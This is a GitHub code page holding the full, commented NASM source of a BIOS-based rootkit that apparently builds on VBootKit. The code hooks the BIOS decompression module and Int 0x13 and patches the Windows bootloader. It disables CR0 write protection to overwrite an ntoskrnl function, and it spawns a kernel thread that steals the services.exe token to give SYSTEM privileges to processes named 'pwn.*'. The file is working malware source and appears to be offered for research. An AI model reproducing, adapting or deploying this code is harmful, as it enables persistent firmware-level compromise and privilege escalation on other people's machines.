-
Notifications
You must be signed in to change notification settings - Fork 19
Expand file tree
/
Copy pathbiosrootkit.asm
More file actions
935 lines (664 loc) · 31.5 KB
/
biosrootkit.asm
File metadata and controls
935 lines (664 loc) · 31.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
;;;;;;;;;;;;;;;;;
; BIOS Based Rootkit by Wesley Wineberg - www.exfiltrated.com
;
; Code included from VBootKit, authored by Nitin Kumar & Vipin Kumar of www.nvlabs.in
; Please credit original authors if you distribute or modify this code.
;;;;;;;;;;;;;;;;;
; This section of code is run the first time the decompression module is run. This code will move all of the code
; contained in this file (apart from the code required for the initial moving) to memory offset 0x8000, and patch the
; calling address so that it points to offset 0x8000 for each time that it is called in the future.
start_mover:
; The following two push instructions will save the current state of the registers onto the stack. This will
; allow the decompression module to continue execution where it left off after we return.
pusha
pushf
; Segment registers are cleared as we will be moving all code to segment 0
xor ax, ax ; (This may or may not be obvious, but xor'ing the register sets it to 0.
xor di, di ; XOR'ing a register is faster than moving a 0 to it on some systems.
xor si, si
push cs ; Push the code segment into the data segment, so we can overwrite the calling address code
pop ds ; (CS is moved to DS here)
mov es, ax ; Destination segment (0x0000)
mov di, 0x8000 ; Destination offset, all code runs from 0x8000
mov cx, 0x4fff ; The size of the code to copy, approximated as copying extra doesn't hurt anything
; The following call serves no program flow purposes, but will cause the calling address (ie, where this code
; is executing from) onto the stack. This allows the code to generically patch itself no matter where it might
; be in memory. If this technique was not used, knowledge of where in memory the decompression module would be
; loaded would be required in advance (so it could be hard coded), which is not a good solution as it differs
; for every system.
call b
b:
pop si ; This will pop our current address of the stack (basically like copying the EIP register)
add si, 0x30 ; How far ahead we need to copy our code
rep movsw ; This will repeat calling the movsw command until cx is decremented to 0. When this command is finished, our code will be copied to 0x8000
mov ax, word [esp+0x12] ; This will get the caller address to patch the original hook
sub ax, 3 ; Backtrack to the start of the calling address, not where it left off
mov byte [eax], 0x9a ; The calling function needs to be changed to an Call Far instead of the Call Near that it currently is
add ax, 1 ; Move ahead to set a new adress to be called in future
mov word [eax], 0x8000 ; The new address for this code to be called at
mov word [eax+2], 0x0000 ; The new segment (0)
; The code has now been relocated and the calling function patched, so everything can be restored and we can return.
popf
popa
; The following instructions were overwritten with the patch to the DECOMPC0.ROM module, so we need to run them now before we return.
mov bx,es
mov fs,bx
mov ds,ax
ret ; Updated to a near return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; The following section of code is called every time the decompression module is run. The purpose of this code is to check that the video interrupts
; have been enabled, and then to check that the hard drive interrupts have been fully initialized. The decompression module is only executed a fixed
; number of times based on the number of compressed BIOS modules, so we need to hook additional functions to continue the execution of this code.
rootkit_loader_start:
nop ; While these nop's serve no purpose, they make it easier to identify sections of code when debugging.
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pusha ; Once again all registers are pushed onto the stack so that execution of the decompression module can continue after this code
pushf ; has finished running
xor di,di ; Set the data segments to 0 so that we can check the interrupts (which are 4 byte long jump addresses, which make up the
; interrupt descriptor table (IDT). This table starts at 0x0000, and continues to 0x03ff.
mov ds,di
cmp byte [0x19*4],0x00 ; Check to see if int 19 is initialized, or if it is still pointing at 0
jne ifint ; If it is not 0, return, otherwise perform one additional check.
noint:
;jmp noint ; Loop to debug
popf ; Restore the registers which were previously saved
popa
mov bx, es ; Execute the commands that were overwritten by the Call Far which was required to jump to this code
mov fs, bx
mov ds, ax
retf
ifint: ; Int 19 may be initialized, but not to a point where it is useable yet. This will perform one additional check
cmp byte [0x19*4],0x46
je noint
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; The video interrupt has been initialized, rootkit code loading continues here
initshellcode:
; Set screen mode for VGA output
mov ax,0x0003
int 0x10 ; Int 0x10 is used for video output
mov ah,0x0e
mov al,0x57 ; AL contains the character to output, in this case it is a W
mov bx,0
int 0x10
call sleep ; This is a very basic sleep function so that our output can stay displayed for slightly longer
mov ax, 0x9e00
mov ds,ax ; Set the data segment to 0x9e00, which is where the rootkit code will eventually be loaded. Currently we are
; just storing a counter there so that we know how many modules have been decompressed
mov eax,[0x0]
inc eax ; Increment the module count each time this is called
cmp eax, 0x09 ; We want to have decompressed at least 9 modules before we're ready
jge nextpt
mov [0x0], eax ; Write the updated count into memory
popf ; If our count is too low we can simply restore registers and code and then return.
popa
mov bx, es
mov fs, bx
mov ds, ax
retf
sleep: ; This sleep function will call the outer loop 0x1ff times, which should result in around an half second delay
; depending on the hardware it is running on.
mov cx, 0x1ff
l1: ; Outer loop
push cx
mov cx,0xffff
l2: ; Inner loop
loop l2
pop cx
loop l1
ret
writechar: ; This function is not currently used, but can be used to output one character onto the screen..
push bx
mov ah,0x0e
mov bx,0x0000
int 0x10
pop bx
ret
nextpt: ; Disk interrupts are initialized, load the rootkit into memory
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Much of the following code was written by Nitin Kumar & Vipin Kumar of nvlabs.in. The initial bootkit loading code
; was modified by myself (Wes Wineberg) so that it will load properly from where it has been placed into memory by the
; BIOS. Originally this code would load from CD, which would take place when the system was in a different state, so
; quite a few changes were required.
nop
nop
; We need to instruct the compiler to start addressing from 0 again as this code will be executed from memory as if it
; is an independent application. The loader code will likely be overwritten by the time this code is executed, so it
; needs to be designed and run seperately.
bootkit_start: ; This label is used to calculate the offset of the beginning of the bootkit code
section .restart vstart=0
; Ahead by 6F?
cli ; The following instructions will set up the segment registers for moving the bootkit
xor bx, bx ; within memory.
mov ss, bx
mov [ss:0x7afe], sp ; The bootkit would originally be loaded into memory at 0x7c00 by the BIOS when it is
mov sp, 0x7afe ; loaded from CD. Since we are not loading from CD but rather the BIOS itself, we
; need to move the bootkit code back to just before 0x7b00 so that it is not
; overwritten when the actual hard drive boot loader is moved into memory. These
; instructions set where the stack pointer should be located, the stack will grow
; "backwards" in memory from 0x7afe where it should not be overwritten.
push ds
pushad ; Save all registers so we can return cleanly when done.
mov ds,bx ; The source segment register is set to 0 (we are running from 0:8000 right now)
mov ax, [0x413] ; AX is now equal to whatever 0:0413 was pointing at. This turns out to be: 0x27e
sub ax, 2 ; AX is 2 less
mov [0x413], ax ; 0:0413 is now less by 2
shl ax, 0x6 ; Shift AX, even though we will simply be overwriting.
mov ax, CODEBASEIN1MB ; Set AX to 0x9e00 so that we can set the destination stack pointer
mov es, ax ; ES will be the destination stack pointer
mov bx, 0x8000 ; Set the source offset. The following lines are not simply put together as one
; instruction as NASM gets mad with more than one add at once, which appears to be a bug.
add bx, bootkit_start - rootkit_loader_start - 5 ; This accounts for the start of this assembler file which
; we do not want to copy. The -5 accounts for the segmentation
; gap included when we defined a new section in NASM.
mov [bx + codereloc], ax
mov [bx + codeloc2], ax ; This will update multiple variables with the new locations of our code
xor bx, bx
cld
mov si, 0x8000 + bootkit_start - rootkit_loader_start - 5 ; Similar to before, this points to the start of the
; bootkit code.
xor di, di
mov cx, 0x400 ; Number of bytes to copy to new location. This is in words, currently 2 kbs are loaded
rep movsw ; Move memory from one location to another.
sti
mov ax, 0x201
mov cl, 0x2
cdq
cli ; Clear interrupts
mov eax, [0x4c] ; We are going to modify interrupt 0x13, which is located at 0:004c.
mov [es:INT13INTERRUPTVALUE], eax ; Int 0x13 is the hard drive handling interrupt. This interrupt is disabled
; once the OS bootloader has been loaded into memory, but until that point
; it is used to handle all hard drive access.
mov word [0x4c], newint13handler ; The IDT entries are 4 bytes long, so we need to properly patch the address they
; contain so that our code is called instead.
mov [0x4e], es
sti ; Set interrupts
push es ; We are now going to jump to where we have copied our rootkit to in memory, which
; is at 0x9e000, or 9e000:0.
push word newmemorycodestart ; We do not want to start executing this code all again, so we will jump right to
; next label and continue from there.
retf ; This isn't so much a return as it is a jump.
; This code should only ever be called from CODEBASEIN1MBEXACT (0x9e000), even though it will exist a number of different places
; in memory. The remaining set of code just sets everything back to normal so that BIOS and system execution can continue, but
; we now have Int 0x13 hooked so that our code will run every time there is a disk access.
newmemorycodestart:
mov es, dx ; This code is unnecessary when run from the BIOS, but would be used to load the
mov ax, 0x201 ; real boot loader from the hard drive. Since we are not booting from CD or
dec cx ; overwriting the boot loader in any way, we do not need to read it into memory, the
mov dl, 0x80 ; BIOS will do that for us.
mov bh, 0x7c
;int 0x13 ; (Disabled for BIOS execution)
popad ; These three lines will restore the registers back to what they were before running
pop ds ; the bootkit code.
pop sp
popf ; The following instructions will finish restoring everything for transition back into
popa ; the decompression module, which is where we ran from originally.
mov bx, es
mov fs, bx
mov ds, ax
retf
;jmp 0x0:0x7c00 ; If we were not running in BIOS mode, we could jump to the MBR code here instead.
; Once we have hooked Int 0x13 this will be called everytime there is a disk access. This code will check what the disk operation is,
; and if a disk read is being performed we will check the data which has been read to determine if it is the windows bootloader code.
newint13handler:
pushf ; Save all flags so we don't throw system execution off.
cmp ah, 0x42 ; If the disk operation is a 0x42 or 0x02 we want to examine the data which was read.
jz processint13request
cmp ah, 0x2
jz processint13request
popf ; Restore all flags
jmp 0x0:0x0 ; Not a disk operation we are interested in, jump back to original Int 0x13 handler. This
; address is filled in by earlier code dynamically so that its value does not need to be
; hardcoded.
INT13INTERRUPTVALUE EQU $-4 ; Used to point to the above address
processint13request:
mov [cs:STOREAH], ah ; Save the type of disk operation before calling the original interrupt
popf
pushf ; Move flags from and to the stack
call far [cs:INT13INTERRUPTVALUE] ; Call the original Int 0x13 handler which was saved from the IVT.
jc returnback ; If the Int 0x13 operation failed we should just return.
pushf
cli
push es
pusha
mov ah, 0x0 ; This 0 will be filled with the original AH value by the code above.
STOREAH EQU $-1
cmp ah, 0x42 ; Check the type of hard drive operation which was just executed.
jnz notextrequest ; Handle data differently depending on hard drive operation.
lodsw
lodsw
les bx, [si]
notextrequest:
test al, al ; Check how much data was read
jng scandone ; If no data was read, return
cld
mov cl, al
mov al, 0x8b
shl cx, 0x9
mov di, bx
scanloop:
repne scasb ; Parse through all of the data
jnz scandone ; If there is no more data to read then return.
cmp dword [es:di], 0x74f685f0 ; Check if the data matches a certain pattern of bytes which are only present in the
; bootloader. This allows the code to have to effect on systems not running the
; expected OS.
jnz scanloop
cmp word [es:di+0x4], 0x8021
jnz scanloop ; If all of the data does not match up continue searching.
mov word [es:di-0x1], 0x15ff ; The bootloader code has now been found, so we will now patch it so that it calls
; our bootkit code as part of its execution.
mov eax, cs
shl eax, 0x4
or [cs:updatecodeloc], eax
add ax, CODE32START ; This is the address of our code that will be called next.
mov [cs: dword_E5], eax
sub ax, 0x4
mov [es:di+0x1], eax
scandone: ; Restore everything to how it was when the Int 0x13 call was made
popa
pop es
popf
returnback:
retf 0x2 ; Return to system.
; The following code is only really necessary when this bootkit is not being run from the BIOS (ie booting off a CD, etc). This
; doesn't harm anything, and does make it easier to see the code seperation when debugging.
db 90h
db 90h
times 510-($-$$) db 0 ; Fill the rest with zeros
DW 0xAA55 ; This is the HDD signature that the BIOS / Grub bootload will be looking for to determine
; if this drive contains a bootable image.
dword_E5: dd 0
; Code will execute in 32 bit mode from this point on. All the code from this point will be run by the bootloader and then the kernel
; itself. No significant modifications have been made in the remaining code, it is simply used as a tool to implement the desired
; rootkit functionality.
USE32
CODE32START:
pushfd
pushAd
; Display patch info on the screen
mov word [ds:0B8000h], 0x0250 ;
mov word [ds:0B8002h], 0x0261
mov word [ds:0B8004h], 0x0274
mov word [ds:0B8006h], 0x0263
mov word [ds:0B8008h], 0x0268
mov word [ds:0B800Ch], 0x0262 ;
mov word [ds:0B800Eh], 0x0279
mov word [ds:0B8012h], 0x0257
mov word [ds:0B8014h], 0x0265
mov word [ds:0B8016h], 0x0273 ;
mov word [ds:0B801Ah], 0x0257 ;
mov word [ds:0B801Ch], 0x0269
mov word [ds:0B801Eh], 0x026E
mov word [ds:0B8020h], 0x0265
mov word [ds:0B8022h], 0x0262
mov word [ds:0B8024h], 0x0265 ;
mov word [ds:0B8026h], 0x0272
mov word [ds:0B8028h], 0x0267
mov eax,0
mov ax,0
codeloc2 EQU $-2
shl eax,4
mov [eax + codereloc+ 4],eax
cld
mov edi, [esp+24h]
and edi, 0FFF00000h
mov al, 0C7h ; '¦'
loc_F:
scasb
jnz short loc_F
cmp dword [edi], 40003446h
jnz short loc_F
mov al, 0A1h ;
loc_1C:
scasb
jnz short loc_1C
mov esi, [edi]
mov esi, [esi] ;points to base of loader table
mov esi,[esi] ;points to first entry it's Ntoskrnl.exe
mov edx,[esi] ;points to second entry ,it's hal.dll
add esi,24 ; to obtain pointer to ntoskrnls, base address,it 24 bytes from it's entry
mov eax,[esi]
mov [CODEBASEIN1MBEXACT + NTOSkrnlbase ],eax ; store result in code
mov ebx,eax ; store result in ebx register
mov word [ds:0B80A2h], 0231h ; Display 1 so we now we found the NT base addresss
pushfd
pushad
mov ebp,[CODEBASEIN1MBEXACT + NTOSkrnlbase]
mov ebx,0x26f7bf31 ;hash for ZwSetSystemInformation
;mov ebx,0x7ede29ea ;hash for RtlZeroMemory
call FindExportedFunctionbyHash
mov dword [CODEBASEIN1MBEXACT + RtlZeroMemorylocation],eax
popad
popfd
mov word [ds:0B80A4h], 0232h ; Display 2 so we now we found the function we overwrite temporarily
call findpend
mov word [ds:0B80A6h], 0233h ; Display 3 so we now we found the textual data in NTOSkrnl to overwrite
;location we tempraily overwrite
add eax,0x55 ; NTOSKRNL BASE + 0x55
mov dword [CODEBASEIN1MBEXACT+basetempbackdoor], eax
mov ecx, cr0
mov edx, ecx
and ecx, 0FFFEFFFFh ; Here above and below we are
; disabling protection in CR0 registers
mov cr0, ecx
; ebx points to base of ntos krnl
add ebx,0x55
;/copy original function code in ntoskrnl
mov edi,ebx
mov esi,[CODEBASEIN1MBEXACT + RtlZeroMemorylocation]
mov ecx,backdoorend - backdoorstart ;
rep movsb
;/stores our code in ntoskrnl
mov edi, [CODEBASEIN1MBEXACT + NTOScodelocation2] ; initial value found by hand 0x804dc000 + 0x19b780 hardcoded;
;now it's finded dynamically
mov esi,CODEBASEIN1MBEXACT
mov ecx,codeends ;;copy all code
rep movsb
;/below 4 lines overwrite function in windows xp kernel with backdoor code
mov edi,[CODEBASEIN1MBEXACT + RtlZeroMemorylocation]
mov esi,CODEBASEIN1MBEXACT + backdoorstart
mov ecx,backdoorend - backdoorstart
rep movsb
mov word [ds:0B80A8h], 0234h ; Display 4 so we now we patched up successfully
mov cr0,edx
popad
popfd
mov esi, eax
test eax, eax
jnz short @PatchFunction_done_nojz
pushfd
add dword [esp+4], 21h
popfd
@PatchFunction_done_nojz:
ret
updatecodeloc :
dd 0
;signature 5f 50 45 4e for _PEN ; after this location a number of kbs are free
findpend:
;below function searches memory for 5f 50 45 4e for _PEN,this location is used to store code in NTOSkrnl;
pushfd
pushad
mov edi, eax ; ;copy kernel base to scan
searchagain:
cmp dword [edi], 0x45505f53 ;
jne contpend
;hard code values used for testing,now these are found at runtime
; mov edi,0x804dc000 + 0x199c20 ;;;;;;;;;;;;;;;0x80675604; 0x804dc000 + 0x199c20
; mov edi,0x80400000+0x16aee0 ;for Win 2k SP0
mov [CODEBASEIN1MBEXACT + NTOScodelocation2],edi
jmp overpend
contpend:
inc edi
inc eax
jmp searchagain
overpend:
popad
popfd
ret
db 'rootboot'
;this is the actual backdoor or kernel mode shell code and will be called only once
kernelmodeshellcode:
mov dword [CODEBASEKERNEL + Stack],esp
call SetOSVars
;jmp newthreadstartshere
push dword 0
push CODEBASEKERNEL + newthreadstartshere ; threadstartlocation
push dword 0
push dword 0
push dword 0
push dword 0 ; for THREAD_ALL_ACCESS
push CODEBASEKERNEL + Threadhandle
mov ebp,[CODEBASEKERNEL + NTOSkrnlbase]
mov ebx,0x5814a503
call FindExportedFunctionbyHash
call eax
mov dword esp,[CODEBASEKERNEL + Stack] ;correct the stack ;correct stack and return
ret ;
;below code corrects and recovers the original function then calls our backdoor code only once
fullbackdoorcode:
mov ecx, cr0
mov edx,ecx
and ecx, 0FFFEFFFFh ; Here above and below we are
; disabling protection in CR0 registers
mov cr0, ecx
mov edi,[CODEBASEKERNEL + RtlZeroMemorylocation]
mov esi,0x804dc
basetempbackdoor EQU $-4
mov ecx,backdoorend - backdoorstart
rep movsb
mov cr0,edx
call kernelmodeshellcode ;call our shellcode
popad
popfd
push dword [CODEBASEKERNEL + RtlZeroMemorylocation]
ret
;this code temprarily replaces Zero fucntions as it gets called later when kernel gets initaliz\sed
;below code is used to replace rtlzeromemory function
backdoorstart EQU $
backdoor:
pushf
pusha
;copy our code to ffdf0800
mov edi,CODEBASEKERNEL
mov esi, 0 ;;; here location of copy of our code is placed in NTOSKRNL
NTOScodelocation2 EQU $-4
mov ecx,codeends
rep movsb
push CODEBASEKERNEL+fullbackdoorcode
ret
backdoorend EQU $
; this function expects ebx contains 4 byte hash and ebp contains base address of target executable image
; this function also expects that you push a pointer where the function pointer will be store after the functions finds it
FindExportedFunctionbyHash:
xor ecx,ecx ;ecx stores function number
mov edi,[ebp+0x3c] ; to get offset to pe header
mov edi,[ebp+edi+0x78] ; to get offset to export table
add edi,ebp
nextexporttableentry:
mov edx,[edi+0x20]
add edx,ebp
mov esi,[edx+ecx*4]
add esi,ebp
xor eax,eax
cdq
nextbyte:
lodsb
ror edx,0xd
add edx,eax
test al,al
jnz nextbyte
inc ecx
cmp edx,ebx
jnz nextexporttableentry
dec ecx ; hash number found
mov ebx,[edi+0x24]
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edi+0x1c]
add ebx,ebp
mov eax,[ebx+ecx*4]
add eax,ebp ;//function address arrives in eax now
ret ;just return
;this functions hump to the function
CallExportedFunctionbyHash:
xor ecx,ecx ;ecx stores function number
mov edi,[ebp+0x3c] ; to get offset to pe header
mov edi,[ebp+edi+0x78] ; to get offset to export table
add edi,ebp
callnextexporttableentry:
mov edx,[edi+0x20]
add edx,ebp
mov esi,[edx+ecx*4]
add esi,ebp
xor eax,eax
cdq
callnextbyte:
lodsb
ror edx,0xd
add edx,eax
test al,al
jnz callnextbyte
inc ecx
cmp edx,ebx
jnz callnextexporttableentry
dec ecx ; hash number found
mov ebx,[edi+0x24]
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edi+0x1c]
add ebx,ebp
mov eax,[ebx+ecx*4]
add eax,ebp ;//function address arrives in eax now
jmp eax ;just call the function after finding it
;after function ends here
;this is the new thread which keeps on executing nad runnin the shellcode
newthreadstartshere:
mov dword [CODEBASEKERNEL + Stack2],esp ; save stack to protect it
newthreadstartsafe :
;delays kernel
xor eax,eax
delayagain:
push eax
push dword CODEBASEKERNEL + Delaytime ;push pointer to delay time
push dword 0 ;; since wait is not alertable
push dword 0 ; since wait is kernel mode
mov dword ebp,[CODEBASEKERNEL + NTOSkrnlbase]
mov dword ebx,0x6c92c2c3 ;hash for KeDelayExecution
call CallExportedFunctionbyHash
pop eax
inc eax
cmp eax,6 ;wait around a half min
jne delayagain
mov ebp,[CODEBASEKERNEL + NTOSkrnlbase]
mov ebx,0xdaf46e78 ;Call IoGetCurrentProcess
call CallExportedFunctionbyHash ;returns system eprocess in eax
mov dword [CODEBASEKERNEL + _EPROCESS],eax
mov eax,[CODEBASEKERNEL + _EPROCESS] ; noe _EPROCESS for kernel or System is in eax
xor ecx,ecx
mov word cx, [CODEBASEKERNEL + Activelinkoffset]
add dword eax, ecx ; get address of EPROCESS+ActiveProcessLinks
@eproc_loop:
mov eax, [eax] ; get next EPROCESS struct
mov word cx, [CODEBASEKERNEL + Imagenameoffset]
cmp dword [eax+ecx], "SERV" ; is it SERVICES.EXE? xp and 2k3 knows upper case
je outof
cmp dword [eax+ecx], "serv" ; is it SERVICES.EXE? win2k knows lower case
je outof
jnz @eproc_loop
outof:
; now we store services.exe security token, so as we use it later on
mov word cx, [CODEBASEKERNEL + SecurityTokenoffset]
mov ebx,[eax + ecx ] ; to obtain token from offset of activeprocesslinks token
mov dword [CODEBASEKERNEL + token],ebx ;token has been stored
;now we start again from beginning to find all cmd.exe and then try to escalate them to SYSTEM priv
mov eax,[CODEBASEKERNEL + _EPROCESS] ; noe _EPROCESS for kernel or System is in eax
mov word cx, [CODEBASEKERNEL + Activelinkoffset]
add eax, ecx ; get address of EPROCESS+ActiveProcessLinks
xor edx,edx
mov edx,[eax] ;we will compare this value later on so we find out whether the list has been traversed fully
mov eax, [eax] ;so as to skip first process and check it when whole list has traversed
@cmd_search_loop:
mov eax, [eax] ; get next EPROCESS struct it get to next activeprocess link _EPROCESS + 0x88 for xp sp 0
;mov ecx, 0xEC ;;EP_ModuleName module name offset in _EPROCESS offset in memory is EC for WinXP SP0
xor ecx,ecx
mov word cx, [CODEBASEKERNEL + Imagenameoffset]
cmp dword [eax+ecx], "PWN." ; Is it CMD.EXE? winxp knows upper case ; Changed to be less
; likely that our rootkit will take effect unintentionally.
je patchit
cmp dword [eax+ecx], "pwn." ; is it cmd.exe? win2k knows lower case
je patchit
jne donotpatchtoken ;jmp takes 5 bytes but this takes 2 bytes
patchit:
mov word cx, [CODEBASEKERNEL + SecurityTokenoffset]
mov dword [eax + ecx],ebx ;;;200-0x88],ebx ;replace it with services.exe token, offset for sec token is 200
donotpatchtoken:
cmp edx,eax ; have we traversed fully
jne @cmd_search_loop
push dword CODEBASEKERNEL + dbgmsg
mov dword ebp,[CODEBASEKERNEL + NTOSkrnlbase]
mov dword ebx,0x1b4347e9 ;hash for DbgPrint
call CallExportedFunctionbyHash
mov dword esp,[CODEBASEKERNEL + Stack2] ;correct the stack ;correct stack and return
jmp newthreadstartsafe ;loop again
SetOSVars:
push dword 0
push dword 0
push dword CODEBASEKERNEL + OSMinorVersion
push dword 0
mov dword ebp,[CODEBASEKERNEL + NTOSkrnlbase]
mov dword ebx,0x0bf483cc ;hash for PsGetVersion
call CallExportedFunctionbyHash
cmp DWORD [CODEBASEKERNEL + OSMinorVersion],0 ;if its 0,then it's win2k
jne winxp
mov WORD [CODEBASEKERNEL + Activelinkoffset],0xA0
mov WORD [CODEBASEKERNEL + Imagenameoffset],0x15c ; original at 1fc
mov WORD [CODEBASEKERNEL + SecurityTokenoffset],0x8c ; original at 12c
ret
winxp:
;first copy vars same for xp and 2k3
mov WORD [CODEBASEKERNEL + Activelinkoffset],0x88 ;this is absolute
mov WORD [CODEBASEKERNEL + SecurityTokenoffset],0x40 ;this is relative to avtivelinkoffset
cmp DWORD [CODEBASEKERNEL + OSMinorVersion],1 ;if its 1,then it's winXP
jne win2k3
mov WORD [CODEBASEKERNEL + Imagenameoffset],0xEC ;this is relative to avtivelinkoffset
ret
win2k3: ;it must be win2k3
mov WORD [CODEBASEKERNEL + Imagenameoffset],0xCC ;this is relative to avtivelinkoffset
ret
RtlZeroMemorylocation:
dd 0
;db 'Ver'
OSMinorVersion:
dd 0
;db 'NTOSBASE'
NTOSkrnlbase:
dd 0;
;db 'CODERELOC'
codereloc:
dd 0
dd 0
;db 'Stack'
Stack:
dd 0
;db 'Stack' ; stack for newly created thread
Stack2:
dd 0
;db 'Delaytime' ;it value is -5 *10 * 1000 * 1000 for waiting 5 secs
Delaytime:
dd 0xFD050F80 ;
dd 0xffffffff
;db 'Hthread'
Threadhandle:
dd 0;
dbgmsg:
db "\nBIOS Kernel Hook Loaded.. Patch by Wes Wineberg\n",0
token:
dd 'token'
dd 0
_EPROCESS:
dd 0
;All OS Specific vars
Activelinkoffset:
dw 0
Imagenameoffset:
dw 0;
SecurityTokenoffset:
dw 0;
;donot declare anything below this
codeends EQU $
CODEBASEKERNEL EQU 0xffdf0900
CODEBASEIN1MB EQU 0x9e00 ;;;; ;9d00 for compat with pxe boot
CODEBASEIN1MBEXACT EQU 0x9e000 ;;this is the exact